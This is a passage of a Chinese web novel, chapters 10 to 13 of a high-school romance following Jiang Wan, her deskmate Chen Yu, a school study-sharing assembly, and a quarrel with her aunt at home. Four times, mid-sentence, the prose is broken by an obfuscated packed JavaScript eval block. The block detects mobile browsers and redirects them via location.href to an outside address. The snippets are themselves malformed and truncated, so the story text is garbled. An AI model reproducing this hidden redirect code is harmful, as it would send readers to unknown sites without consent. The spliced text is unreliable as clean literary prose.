应该是离开了,姜挽想。 可视线一转,却又突然在车门处看见了他,他正弓着腰,似乎在翻找着什么,偶尔还低头和司机说两句话。直到看见他将一张十元的纸币投进投币箱,姜挽这才反应过来,他刚才,应该是在找零钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448256|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投完钱,姜挽注意到他先是在车厢内扫视了一圈,看见她,点了下头,随即走过来,径直在她前面的凳子上坐下。 这个点,车里已经没什么人了,除了他俩,也就只有前排还坐着一个背着包的中年男人,看起来像是刚下班。 所以,任何一点声音,在此刻听起来都会非常明显。静谧的夜,摇曳的晚风,光影和灯光在头顶交织变幻。 姜挽记得,他家好像不是这个方向:“这么晚了,你不回家吗?” 没有称呼,也没有刻意打招呼,可奇怪的是,陈屿就知道她是在和自己说话:“我去孟云程家,找他拿点东西。” 他说话的时候微侧着脸,姜挽的视线里,刚好是他清晰的下颌线和几缕散在额前的碎发。光线昏暗,有一股半明半寐的朦胧感。 姜挽点点头,没再追问,她想起来,孟云程和她住一个小区,这事,陈屿之前说过。 两人没再说话,安静了一阵,公交车慢悠悠晃着,没多会儿,姜挽便觉得困意袭来。 她正迷糊之际,前排的陈屿突然再次开口:“你下了公交车还要走多久?” “嗯?”姜挽反应了下,“十分钟,大概还要走十分钟。” “嗯。” 又没话讲了。 这次沉默,一直持续到他们二人下车,很奇怪,陈屿依旧跟着她,还是刚才那种不远不近的距离。 “你不是要去找孟云程吗?”姜挽提醒他。 “不急。” “哦,那我先回去了。”她抬手指了指拐角的位置。 “嗯,回去吧。”陈屿虽这样回答,可依旧跟着她。 月光照在脚下的水泥地上,姜挽一脚踏进这光亮的方寸之地。忽然间,她脑海里浮现出了一个大胆的猜测。 这猜测一路伴随着她,走完了将近十分钟的路程,临近小区的路口,姜挽停下了,回头去看,陈屿果然还跟着她。 一刹那,刚才的那个猜测瞬间得到证实,原来他这一路默默跟着她,只是为了护送她回家而已。 像是冰凌融化,春枝抽芽,姜挽心底最隐秘最柔软的那块地方被触碰到了,胸腔震动着,她的眼睫也跟着颤了颤:“我到了。” “嗯。” 两人都没说破,可也没再假装不知道。 既然她已经知道了,索性就坦然地接受他这份好意:“谢谢你,你快回去吧。” “等一下,”一路话都很少的陈屿,这会儿却突然开口拦住她,像是尴尬,又仿佛忸怩,总是他的脸色很不自然,“那个学习交流会,我以前真的参加过,只不过是在初中的时候。” 姜挽不知道话题是怎么扯到这上面的,可陈屿说了,她也就跟着应:“知道了。” 陈屿肉眼可见地松了一口气:“快回去吧,明天见。” “嗯,明天见。” 到了家,沈曼还没回来,她最近加班加得厉害,晚上也没时间去公交站接姜挽了。 放下书包,姜挽第一件事便是给沈曼打电话。 下午她在微信里给沈曼报备时,沈曼虽同意了,可要求她到家后必须立即打电话。 电话接起来,沈曼那头传来一阵“噼里啪啦”敲电脑的声音,电话里,她问了几个问题,无非都是关于姜挽今天在学校怎么样,这个交流会不会影响到她学习之类的。 姜挽和她解释:“不会的,我有分寸,而且多和同学交流,学习学习他们的方法,对我以后提升也有帮助。” “那就好,”沈曼放下心来,只要不影响她的学习,就都好商量,“对了,你今天回来这么晚,路上还顺利吗?没遇到什么乱七八糟的人吧?” 想到陈屿,姜挽有些走神。 沈曼在电话里催她:“呦呦,怎么了?是不是遇到什么事了?” “没有,”姜挽抿了下唇,手机屏的光落在她的侧脸上,投下一圈浅色的阴影,“一路都很顺利。” “那就好,你先做作业,妈妈还要再忙一会儿。” “知道了,那你一会儿回家的时候注意安全。” 11. 第 11 章 后来,关于交流分享的事儿,韩华又找陈屿和姜挽说了一次,具体也没干涉太多,只是问了他们大致的内容,以便主持人现场做衔接工作。 陈屿的分享和他本人性格一样,比较散漫随意,基本只有一个大概的框架,其他内容全靠现场发挥。 相比之下,姜挽的就显得详细多了。不仅列明了她一天的时间安排,甚至于每一段时间学习的内容,涉及到的学习方法,她也都仔仔细细地做了说明。 韩华听完笑了:“挺好,一个意识流,一个方法论,总归会有合适的适用对象。” 交流会的时间定在周一上午,一个艳阳天,据说是校领导特意挑的好日子。 秋天的阳光和夏天不一样,少了浓烈的炙热,多了几分柔和,即便是直射到身上,更多的也是一种熠融融的感觉。所以这会儿学生在台下,也能坐得住。 此次交流会,分为文理科两个大类,再按名次依次分享。八中理科较强,也更重视理科,所以陈屿自然而然就成了第一个上台的人。 主持人刚叫到他的名字,人还没上去,台下便瞬间沸腾起来。尤其是女生多的那几个艺术班,窃窃私语,交头接耳,甚至还有人当场叫出了他的名字。 伴随着一阵阵骚动,姜挽往台上去看,即便和他是同桌,两人天天见面,她也不得不承认,此时台上的陈屿确实是帅。 身高腿长,五官深邃,即便是穿着再普通不过的校服,气质也能甩开其他人一大截。 他没拿稿子,站姿也带着点痞,可偏偏头顶又有一缕阳光,光晕暗影里,莫名就将他的痞气综合了几分,亦正亦邪,可帅可痞。 和他们私下交流的时候差不多,陈屿的分享,简短精悍,自由发挥,一场下来,也不过才用了十五分钟而已。 学校给他们每人留了半个小时的时间,姜挽本来还担心她会提前上场,可没想到,一到自由问答环节,现场的气氛瞬间狂热起来。 仿佛台风过境,又好似浪潮袭来,姜挽被这股浓烈的浪潮卷着,不知所措地跟着一起翻涌。 放眼望去,台下一片片举手的全是女生,且每个被点起来的,问的问题也都十分专业,一看就是做过准备,还仔细听了陈屿刚才的分享的。 姜挽以前没遇到过这种场景,瞬间便被八中这股“好学”的风气震撼到了,正感慨,前头的尤伽突然扭头和她吐槽:“这些人真是够了,平时学习的时候也没见她们有多努力,这种时候倒是一个比一个积极。” “嗯?”姜挽见得少,一时有些没懂尤伽的意思,还以为是她们问的问题不好:“她们刚才的提问,不是都挺贴合陈屿的分享吗?” “你以为她们是真有问题啊?” “不是吗?” “当然不是了,”尤伽压低声音,“你仔细看看她们每个人,不是化了妆,就是在发饰上花了心思,问问题是假,想要引起陈屿的注意才是真。” 尤伽话音刚落,恰巧有一个音乐班的女生起身问问题,因为尤伽的提醒,姜挽这次特别注意了她的妆容和发饰。 女生长得很漂亮,皮肤白皙,五官精致,谈吐也落落大方。可仔细看的话,会发现真如尤伽所言,她不仅化了妆,还特意在校服上花了心思。 原本普通宽松的版型,腰部的位置被她加了褶皱,不明显,可就是因为这个简单的修改,她的衣服和别人比,就能更好地体现身材曲线。 姜挽看看她,再看看台上的陈屿,不觉感叹,要不是这场交流会,她还真不知道原来陈屿在学校里这么受欢迎。 提问题的人实在太多,即便主持人已经尽力调控了,可最后还是比预计的时间多出了半个小时。 尽管如此,可校领导也并没有因此而缩短姜挽和后面那位同学的分享时间,本就是互相交流的机会,让每个人都有机会表达自己的观点才是最终目的。 只不过,和陈屿发言后那盛大壮观的场面相比,姜挽这边,就显得平静多了。偶有几个举手发言的,也都是以男生为主,女主一个都没有。 人不多,反响也平平,期间有人问到她学习的方法和秘诀,姜挽很真诚:“对于学习而言,天赋很重要,但努力也是必不可少的。任何大家能看到的成功,其实都是背后千锤百炼的结果。” 这是她一直以来奉行的原则,也是能够取得成绩的关键。她不属于天资聪颖那一类,能做的,就只有不停地努力。 从台上下来后,隔得老远,尤伽便开始朝她挥手点赞,许是担心她被刚才台下的反应影响,特意告诉她:“呦呦,你分享得特别棒,都是一些细节类的学习方法,最适合我们这些成绩一般的学生了。” 姜挽笑了,她一笑,眼睛里就好似有水光荡过:“你觉得有用就好。” 姜挽之后,还有另外一位理科的同学,再来就是两位文科的,这几个人和她差不多,基本走的都是偏温和的风格,所以反响也都平平。 气氛安静了好一会儿,直到最后一位同学的出现,才又终于掀起了一个小高潮。 旁边有人在低声议论,姜挽从他们口中听到了“裴思”两个字。 尤伽也跟着起哄,她这状态,可比刚才陈屿出来时疯狂多了。 她自己痴迷还不算,还要拉着姜挽一起:“呦呦,你看裴思是不是很帅,温文尔雅,彬彬有礼,简直就是小说里谦谦君子的模样!” 姜挽随着她的视线去看,台上人气质确实不错,身姿挺拔,皮肤也白,可仔细看就会发现,他的帅主要在气质,更像是一种靠氛围营造出来的感觉。 “还行。” “不是吧,这种你说是还行?”尤伽简直不敢相信,回头看她,“那哪种级别的在你眼中才是帅呀?” 一瞬间,姜挽的脑海里自动便跳出了陈屿那张脸,她觉得,至少应该到他这种级别吧。 尤伽盯着她:“你刚才想到了,是不是?是谁,是谁?快告诉我!”头顶落下的光影一闪,她灵光乍现,“不会是陈屿吧?” 姜挽愣了一下,马上否认:“没有,不是。我就是对这些没什么经验,所以也分不太清。” “好吧,”尤伽没再追问,“那你多看看,以后跟着我,我带你多看帅哥,看多了就有经验了。” 姜挽:“……” 交流会结束后,大家分批离开,三三俩俩,成群结队。 穿过篮球场,再绕过思政楼,右手边有一片小空地,这里离教室远,又没什么娱乐设施,平日里基本不会有什么人来,可这会儿却意外地围了一堆人。 人群呈圆形放射状分布,四周散开,应该是有什么人被围在了中间。 姜挽不爱凑热闹,正打算绕过去,经过时,余光里貌似有熟悉的身影动了动,她回头,陈屿正站在人群中心,因为个子高,在这种环境下就显得格外突出。 “他们这是在干什么?”别人的事她不在乎,涉及到陈屿,忍不住就会多问两句。 尤伽随便瞥了一眼,便盖棺定论:“肯定是有人在和陈屿表白。” “表白?” “是啊,这种事情太多了,之前基本每周都会发生,也就前段时间少了点。刚消停没多久呢,这又开始了。” 姜挽说不上来此刻自己的心里是什么滋味,像满瓶的碳酸饮料在晃荡,一股子胀气的感觉瞬间顶入心肺:“学校不是禁止谈恋爱吗?” “明令上当然是禁止,可私下谁又管得了。而且也不是学校不想管,实在是因为太多了,管不过来。” “哦。” 三言两语间,她们便绕过了这里,并没有停留太长时间。尤伽是因为见过太多没兴趣了,而姜挽则是单纯地不愿意看。 可离开前,她还是忍不住回头看了一眼,这一眼,恰巧和陈屿的视线对上,他的表情很冷淡,甚至还有些不耐烦。可和她对上的一瞬间,眼底明显有其他情绪闪过,姜挽没看清,她匆匆收回目光,跟在尤伽后面离开了。 陈屿其实是心虚,他没想到会被她撞见,像个做错事的孩子,尴尬又无措。 他本来就不耐烦,这会儿看到姜挽离开就更没耐心了,不等眼前的人把话说完,也不顾其他人的起哄,冷漠丢下一句:“我想我已经说的很清楚了,请你不要再浪费时间了。” 话音落,他穿过人群,径直离开。身后一阵唏嘘,还有女生被拒绝后的不甘和呐喊。 回到教室,可能是被刚才的事情影响,尤伽突然对姜挽起了兴趣:“呦呦,你有过喜欢的人吗?” 姜挽摇头,她没有。专心学习,不问其他,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448257|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一直以来沈曼对她的要求。 “那有人喜欢过你?追过你吗?” 姜挽还是摇头。 “不可能,你长得这么漂亮,成绩又好,肯定有人喜欢你的。” 姜挽无奈:“真没有,我不骗你。可能是我性格的原因吧,不太爱说话,大家也不怎么喜欢和我一起玩,所以从上学开始,基本就没什么人理我。” 听到这,尤伽的眼底闪过一丝痛惜:“那是他们不懂,他们没眼光。” 姜挽笑笑:“你不用安慰我,没事的,反正我也不介意这些。” 尤伽了解她,知道她说的是真心话,也就没再说什么。见她又拿出试卷准备开始写,忍不住感叹:“呦呦,你成绩都这么好了,还这么努力,真是厉害。我很好奇,你每天都这么坚持,会不会觉得很辛苦啊?” “还好,我都习惯了。”数学试卷,不是姜挽的强项,她做起来有时候也费劲,“况且我的数学确实不太好,需要多刷题才能提升。” 尤伽自己做不到这些,所以才格外佩服她:“你这么努力,一定会有效果的。下次月考的时候你肯定会是第一,把陈屿从‘年纪第一’的位置上打下来。” “那应该不太可能。”这方面,姜挽还是有自知之明的,陈屿属于天赋型选手,他的成绩基本算是天花板了。 “怎么不可能,我就相信你能超过他,把他打下来……” 尤伽正准备来一碗“鸡汤”,突然发现对面的姜挽不停地朝她眨眼睛,她愣了片刻,反应过来后准备回身,可已经来不及了…… 身后,一道清冷的,微带着些困惑的声音传来:“谁要把我打下来?” 尤伽不用回头都知道这是谁。 “呃……” 她想求救,可孟云程这会儿又不在,想逃离,陈屿已经和她面对面了,只能快速岔开话题:“你怎么这么快就回来了?刚才不是有人在和你表白吗?” 她不提这还好,一提,陈屿的脸色更难看了:“没有,你看错了。” 他心情不好,尤伽能感觉到,她朝姜挽投去一个“好自为之”的眼神,也没再多说话,转身灰溜溜地回了自己的座位。 一瞬间,只剩下姜挽和陈屿面对面了。 她也觉得挺尴尬的,背后议论人家,还被当场抓包。好在陈屿自从坐下后,也没再继续追问刚才的事情。 她正打算舒一口气,又突然听到陈屿问:“刚才楼下的事情,你也看到了?” 那口气瞬间卡在心口,不上不下了。考虑到刚才他和尤伽的对话,姜挽决定顺着他说:“我没看到,我们只是从旁边经过,什么都没看到。” “嗯,本来也没什么,”陈屿的口气有些别扭,“都是他们在瞎说罢了。” “嗯,我知道。” “知道就好。” 不知为何,姜挽感觉她说完这句话后,陈屿的脸色好像没刚才那么冷漠了,他还特意靠过来几分,看了眼她桌上的卷子:“这不是学校发的?” “嗯,不是,我妈单独给我买的。” “我看看?” 姜挽递给他。 他看得很快,三两下就把一张试卷看完了,那样子,那速度,不像是在看,倒像是在专门找题。 很快,他将试卷重新放回姜挽桌上,抬手指了指,顺着他的指尖,姜挽去看,是一道几何体。 “这道题,你会吗?” “……不太会。”姜挽有些尴尬,那么多道他不选,偏偏选了一个她最拿不准的。 “笔拿来。” “嗯?” 陈屿没再多言,而是直接将她手中的笔抽了过来,而后低头,简明扼要地画了一条辅助线:“现在会了吗?” 只是一条辅助线的事,可很多东西瞬间就清晰了:“嗯,会了。” 姜挽没搞明白陈屿这突如其来的操作是因为什么,可毕竟也是切实地帮她解决了难题,她自然该道谢:“谢谢你。” “不用。”大概是因为别扭,陈屿伸手去翻那一堆乱七八糟的卷子,呼啦啦的声音里,姜挽听见他再次开口,“以后没事不要去凑热闹。” 姜挽:“……” 她不喜欢凑热闹啊,今天是因为主角是他,她才去多看了两眼。 12. 第 12 章 最近,沈曼因为工作的原因,几乎每天晚上都要加班。她没时间去公交站台接姜挽,当然也没时间回家吃晚饭了。可平日里对姜挽的那些叮嘱还是一样都没少,只不过从口头换成了微信。 【在学校里一定要好好学习,听老师的话,不要浪费时间在无关紧要的事情上。现阶段,只有学习才是最重要的。】 【晚上回家了一定要懂事,嘴巴甜一些,多叫人,多哄你舅舅和舅妈高兴。】 【对了,你舅妈生日快到了,我给她买了一套护肤品,快递已经到了,你回家的时候把东西拿了送给她。记住,一定要说是你挑的。】 姜挽其实不喜欢这样,她舅妈不喜欢她们,她能感觉得到。可她也理解,沈曼这样做,无非就是想让她好过一点罢了。 坚持,隐忍,努力,她们都没有别的路可以走。 晚上回到家,姜挽按沈曼给她发的取件码先去取了快递,又仔细在门外将最外层的包装拆掉,来回检查了好几次,确保东西没问题,才敲门进了屋。 “舅舅,舅妈,外婆。”姜挽先叫人。 客厅里,谭镜照例在看手机,注意到她进来,连头都没抬一下,倒是沈峰应了声:“呦呦回来了,赶紧洗手吃饭吧。” “好的。”姜挽没直接去,而是先换了鞋,朝谭镜走过去,“舅妈,听说您生日快到了,我和妈妈给您挑了一套护肤品,希望您能喜欢。” 谭镜头都没抬,语气很淡:“我生日还早呢,礼物现在就送,是不是有点太早了。” 一旁的沈峰推了她一把,她才不情不愿地放下手机,眼皮掀了掀,恩赐似的开口:“什么牌子的啊?” 姜挽没看她,准确来讲,她每次和谭镜说话时,基本都不会看她,不为别的,只是怕。 怕从她那双斜飞的眼角里看见对她的轻视,不耐,还有厌恶。怕清楚地看见自己仅剩的一点自尊被她毫不留情地踩在脚下。 从谭镜身上,她能感觉到人和人之间最清晰,最直接的恶意。 指腹在包装盒的边缘蹭了蹭,姜挽低着头,把东西递给她:“是您经常用的那个牌子。” “哦?”谭镜终于肯接过去了,不过只一秒,她便再次轻嗤出声,“原来是最低端的那个系列,这款我早不用了。你们不知道吗,护肤品用太便宜的,是会烂脸的。” “啪”的一声,盒子被她随意扔在茶几上,她起身走了。随之被扔下的,还有姜挽那点苦苦坚持,却已所剩无几的自尊。 沈峰出来拦她:“你说什么呢?孩子好心送的礼物,你不感谢也就算了,在这阴阳怪气个什么劲!” 平时这种情况,沈峰说几句,谭镜也就停下了,今天也不知是因为什么,她格外暴躁,人都走了,又重新折返回来,话虽朝着沈峰,可字字句句却都是在说姜挽和沈曼:“送不起就别送啊,没钱还想学别人送高档货,真是出洋相。” 姜挽默默听着这些话,指甲攥进掌心,一片青白。 这是沈曼花了半个月工资买的,却被贬得一文不值。 “你给我住口!别说了!” “不说就不说,凶什么凶!” 沈峰发火了,谭镜这才不情不愿地停下来,一转身,一个白眼,朝着饭桌去了。 她离开了,可刚才的话却没有,冷刀子似的,一下下剜在姜挽的心上。 屋子里有浓重的香水味,还有那些刻薄的回音,姜挽觉得头晕,恶心,甚至想吐。 外婆出来打圆场,叫她过去吃饭,想要息事宁人。可姜挽知道,这种时候,她再过去,简直就是火上浇油。 眼泪要掉,但她忍住了:“舅舅,我有一个着急的作业要马上交,我可以先回房间写吗?一会儿写完了我再出来吃饭,可以吗?” “去吧,学习重要,你先去写吧。” “好的,谢谢舅舅。” 她找了一个无伤大雅的借口,希望可以暂时缓和这紧绷的气氛,可转身的瞬间,还是听到身后谭镜的声音响起:“知道你成绩好,倒也不用天天炫耀,不就是第二名吗,说到底也不是第一。再说了,就算考了第一,读了好大学又能怎么样?家庭条件不好,毕业出来了,还不是做牛马的命。” “砰”的一声,应该是她舅舅摔筷子了。 “你到底想怎么样?能不能少说两句!孩子也是随口一说,写作业而已,她哪里有你这么多的想法?” 谭镜的声音更大:“那你的意思是我想多了?我故意欺负她?”很突然的,她开始尖叫,完全控制不住自己的情绪,“自己的孩子你不关心,对陌生人你倒是上心得很。儿子在国外过得怎么样,学习好不好,你有问过吗?” “你这是在没事找事!”沈峰的声音很疲惫,推开她,想要走。 谭镜却追上去,咄咄逼人:“这么多事情,还不都是我一个人在操心!我没事找事,我看没事找事的那个人是你才对!好好的家,非要住进来两个陌生人,我能高兴吗?” “她们不是陌生人,是我的妹妹和外甥女,是我的家人!” “好,好,你们是亲人,你们是一家人,我才是那个陌生人,我走好了,我现在就走!” 眼看着形势马上就要失控,姜挽当即站出来:“舅舅,舅妈,我刚想起来我作业落在同学那里了,她就住在这附近,我现在去找她拿,晚点再回来。” 说完,也不等沈峰和谭镜回答,背着包,开门出去了。 背后门锁落下的瞬间,轻轻的,仿佛还有一声叹息。 这么一个无伤大雅的理由,是她现在所能给予的,所有的体面。 出了门,外面天色已经黑透了。今晚月亮很圆,头顶的月色素白,照在树梢上,轻轻摇下一地的月影。 刚才在屋里的时候不觉得,这会儿出了门,夜风一吹,姜挽立马感觉身上凉飕飕的。 可刚才那种情况,她不得不离开。 她不离开,离开的就会是谭镜,那么舅舅家就会鸡犬不宁。住在这里已经属实算是打扰了,她再不想多增加舅舅的负担。 姜挽抱着双臂,行走在月色下,刚才情急之下胡乱扯的一个理由,其实她根本没有朋友在这里,更没有作业要拿。 正犹豫该去哪,手机突然响,她拿出来看,是微信提示音。在通讯录那里,显示有新消息,她点进去看,只有简简单单的两个字,陈屿。 他找她,肯定是有事,姜挽没多想,便点了同意,很快,他们二人便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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对他的询问,姜挽并不反感,可也不想把自己太多的情绪暴露给他:【嗯,和我妈妈在外面散步。】 【等我找找。】 陈屿没再问,奶茶店什么的,他早忘了,当初也不过是想多接近她一些而已。 他先去账单里翻付款记录,找到店名,又快速登了某软件查看这家店的评价,评价不错,这才放心把位置分享给她。 明明知道不太合适,可他还是忍不住加了一句:【太晚了,喝完还是早点回去吧。】 【好的,谢谢。】 按照陈屿给的位置,姜挽导航过去,距离很近,不过十几分钟而已。这会儿店里的人不多,她点了一杯奶茶,找了个角落的位置,拿出作业,默默开始写。 算着时间,等着沈曼差不多快回家,沈峰和谭镜也应该睡了,姜挽这才开始收拾东西回家。 晚上沈曼到家,见到茶几上的护肤品,瞬间便知道是怎么回事了。她敲了敲姜挽的门,而后开门走进去,姜挽还在写作业,没抬头,叫了她一声。 “没受委屈吧?”沈曼摸了摸她的头。 “没有,”姜挽头仍低着,“妈妈你也早点休息吧,明天还得继续上班呢。” “好,那你也注意休息。” “好的。” 沈曼转身走了,黑夜里,似乎还有一声叹息,姜挽这才抬手将眼角的泪痕擦拭干净。 13. 第 13 章 半夜下了一场雨,一直持续到清晨。 这场雨很长,伴随着姜挽的梦。梦里有雨声,风声,还有姜承安以往对她的那些关心…… 突然,床头的手机闹铃响,姜挽皱着眉醒来,刚一睁眼,便看到微信里沈曼的好几条语音。 沈曼现在每天早上出门的时间提前,连交代姜挽的事情,也都只能通过微信来传达了。 “早饭做好了,你起来直接吃就行。碗不用洗,我晚上回来处理。” “我给你准备了水果,在冰箱里放着,你出门的时候记得带。” “你现在最重要的事情就是要好好学习,其他的不要想。昨天晚上的事情我听你外婆说了,你舅妈就是这样的性格,你不要放在心上。” 一瞬间,姜挽脑海里仅存的那点困意瞬间消散,昨晚的事情立马浮现在眼前。 谭镜的刁钻,沈峰的为难,还有她大半夜背着书包在夜色里晃悠的孤独…… 姜挽使劲拍了拍额头,不让自己沉浸在这些事情里面。给沈曼回了一个“好”字,继而起床穿衣,洗漱,吃早饭。 离开家时,她的动作比之前更轻了。 因为下了雨的缘故,路上堵车,姜挽到学校时并没有像之前那样提前半小时,而是和陈屿的时间差不多。 前排的孟云程和尤伽也到了,正叽叽喳喳地抱怨天气,顺便再打打闹闹几下,他们每天都这样,姜挽已经习惯了。 她还是保持着先检查一遍作业的习惯,旁边的陈屿突然开口,夹杂着翻书的声音:“你今天晚了。” 和她之前的时间相比,确实是晚了。 姜挽刚想回答,又听到他说:“路上遇到事了?” 说话间,有温热的气息和清爽的淡香,能感觉到他是侧着脸和自己说话的。 出于尊重,姜挽打算扭头,突然想到昨天晚上哭过,自己的眼睛可能会肿,于是赶紧垂下眼睫:“嗯,今天下雨,路上堵车,所以晚了点。” 话音落,她能感觉到陈屿似乎还有话要说,欲言又止的。可她这会儿并不想和他过多对视,于是干脆直接拿出英语书,开始背单词。 见她这样,陈屿也就没再问。 上午第一节是物理。 昨天物理老师发了一张试卷,交代大家晚上回家做完,今天上课会讲。 下了早自习,姜挽去物理书里找。这是她的习惯,试卷一般会夹在对应的课本里,可这会儿翻了两遍,也没找到。 但她明明记得,昨天晚上物理试卷已经写完了。 她有些慌,物理老师是她们所有老师中最严肃的一位,中年妇女,习惯戴一副黑框眼镜,头发永远梳得一丝不苟,学习上更是不允许学生犯一点错。 最先发现她异常的是尤伽,因为尤伽有两道题没写完,想借她的试卷来看。 “物理试卷,我好像忘记带了。”姜挽和她坦白。 “啊?”尤伽比她还着急,物理老师的脾气她也知道,“你再仔细找找,会不会是夹在哪本书中间了。” “不会,我全部都找过了,应该是忘在家里了。”刚才这么一圈翻找,姜挽早想起来了,估计是昨晚收书包的时候落下的。 她当时情绪不好,整个人的状态也浑浑噩噩的。 孟云程在前头听到了她们的对话,也过来出主意:“要不你让你家里人送过来吧,”他们住一个小区,孟云程有经验,“现在这会儿不堵车,开车过来的话,应该能赶在上课之前给你送过来。” 这或许是一个不错的建议,对于一个正常的家庭而言。可姜挽目前面临的情况不是,她也不能采纳。 “还是算了吧,太麻烦了。” “这有什么麻烦的呢?再说了,物理老师的脾气你又不是不知道……”孟云程还以为她是担心被家里人骂,好心劝慰,“没关系的,你也不是故意忘记带的,你爸妈肯定不会说什么。就像我,之前好几次把课本都忘家里了,还不是我爸开车给我送来的。家长都这样,平常骂得凶,这种时候还是靠得住的。” 这是一个正常家庭对待孩子的方式,但很可惜,姜挽没有。沈曼在上班,麻烦沈峰更是不可能。 她垂下眼睛,说不清是自暴自弃,还是坦然接受:“就这样吧,反正已经忘记带了,物理老师要怎么罚,就怎么罚吧。” 她这么坚持,孟云程和尤伽也不好再说什么,两人对视了一眼,便都转了回去。 事已至此,姜挽也不想再多想,抽出物理书打算预习,这时突然一只手伸了过来,手中还拿着一张物理试卷,是她旁边的陈屿。 “给你。” 姜挽没明白他的意思:“什么?” “你用这张试卷。” “那你呢?” 这个问题,陈屿没答,而是径直将试卷上他的名字改成了她的。 他这样,姜挽当然不会同意,伸手要去拦,却被他反手一把握住手腕,瞬间够不到了。 空气中,微微一缕淡香,划破刚才沉闷的气氛。两人视线相对,同时开口。 “你先松开我。” “你眼睛怎么弄的?” 本就是虚握着,姜挽轻轻一抬手,便挣脱了。她还是重复刚才的问题:“试卷给我了,那你怎么办?” 陈屿这会儿已经把名字改好了,光明正大地放在她桌上:“我没事,我都习惯了。” 话虽这样说,姜挽以前也确实看过几次他因为没写作业被惩罚,可那是为他自己,这次是因为她,二者完全不一样。 “我不能要。” 见她这样,陈屿故意压低声音,吓唬她:“物理老师你也知道,她从来不给任何人面子。要是一会儿她不高兴了,让你请家长,你怎么办?” 好几次了,他都发现她似乎不大想聊关于自己家庭的事情。 果然,提到这个问题,姜挽不吭声了,她不怕罚站,也不怕抄写,任何惩罚措施加在她身上,她都能接受。 可她却不能,也不敢让沈曼知道这件事,以沈曼的脾气,必定会鸡飞狗跳。 她没再拒绝,陈屿松了一口气:“现在能告诉我了吗,你眼睛怎么弄的?” 这问题,在刚才姜挽担心他发现时,就已经想好答案了。毕竟一整天,被他们看见是迟早的事。 现在,对这个答案,她有些犹豫,可稍一思忖,还是答:“昨天晚上没休息好。” “嗯。”陈屿没再问,而是绕过她,出去了。 陈屿这一趟去的很快,来回不过十分钟。回来时,他手中提着一个塑料袋,趁着姜挽起身让座的功夫,直接放在了她桌上。 姜挽纳闷,陈屿直接开口:“给你的。” “给我的?” “打开看看。” 姜挽打开去看,袋子里是两瓶冰水,瓶身沁着一层水珠,瓶内的冰块浮浮沉沉。 她拿起其中一瓶问他:“是给我喝的吗?” “你觉得呢?”陈屿故意不说实话。 “应该不是的,今天温度这么低,而且我也没有喝冰水的习惯。” 陈屿没否认,指指她的眼睛:“敷一敷吧,怪吓人的。” “哦。”原来是因为这个。 姜挽赶紧转头,错开和他的对视,怕再次吓到他。 “会用吗?” 她躲开了,没想到陈屿却靠了过来,又是那股清香,姜挽屏住呼吸,脸却烧得一塌糊涂:“会。” 她说什么,陈屿好像并不在意,直接从她手中接过冰水,又从课桌里拿出一条毛巾,麻利地包裹好,这才递给她。 “谢谢。”姜挽接过,敷在眼睛处,也不知是心理作用还是什么的,她觉得当下这一用,眼睛周围原本的酸涩和肿胀还真是缓解了不少。 “多少钱,我一会儿微信转给你。”她敷着冰块,还惦记着钱的事。 “嗯?”陈屿一时没反应过来,主要是他从没往这方面想过。 “买这些东西的钱。”姜挽重复道。 她和他提钱,还分得这么清,陈屿不高兴:“再说吧。” 姜挽没注意到他的反常,况且她这会儿还敷着冰水,手上也不方便:“好的,那晚点再说。” 一整个课间,姜挽都敷着眼睛,尤伽和孟云程偶尔扭头看见了,她也只说是因为自己昨天晚上没睡好,眼睛有些肿。 等到上课铃声响起,她才将冰水拿开。 如他们所预料的那般,物理老师在作业方面很严格,一点没有手下留情,当场便让没有试卷或者没做完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448259|185196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的站起来。 陈屿要站,姜挽有些担心,她在下面偷偷扯他的衣角:“试卷还是还给你吧。” 陈屿冲她笑了笑,是姜挽从没见过的那种,随即洒脱开口:“没事。” 前面的尤伽本来还担心姜挽来着,见着是陈屿站起来,瞬间松了一口气,忍不住和孟云程夸道:“没想到陈屿这小子还挺讲义气的。” 孟云程不爱听她夸别人,撇嘴道:“我比他还讲义气呢,怎么从没见你夸过我。” “你?”尤伽嫌弃地看他一眼,“胆子小还爱抱怨,哪次惹了事不是我们帮你善后?” “真的吗?原来我在你眼里就是这样的形象吗?” “真的假的,你自己不知道吗?”尤伽反问他。 “好,你不喜欢的话,我以后改。”孟云程突然正色道。 